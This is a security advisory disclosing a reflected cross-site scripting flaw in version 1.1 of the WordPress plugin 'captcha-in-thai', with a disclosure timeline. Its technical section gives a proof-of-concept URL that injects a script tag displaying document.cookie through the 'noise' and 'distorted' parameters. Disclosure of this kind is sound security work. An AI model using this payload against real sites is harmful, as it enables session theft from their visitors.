wp-plugin : captcha-in-thai | Code Vigilant : to err is human.. To fix is Humanity

Wp Plugin Captcha in Thai

Plugin Details

Plugin Name: wp-plugin : captcha-in-thai

Effected Version : 1.1 (and most probably lower version's if any)

Vulnerability : Cross-Site Scripting (XSS)

Minimum Level of Access Required : Unauthenticated

CVE Number :

Identified by : Anantshri

WPScan Reference URL

Disclosure Timeline

January 4, 2014: Vendor Contacted
January 11, 2014 : Plugin Updated
July 7, 2014 : Public Disclosure

Technical Details

http://localhost/wp-content/plugins/captcha-in-thai/image.php?noise=noise'><script>alert(document.cookie)</script>&font_size=1&distorted=a'><script>alert(document.cookie)</script>&font_color=1&bg_color=1

Vulnerable Parameter : noise, distorted

Type of XSS : Reflected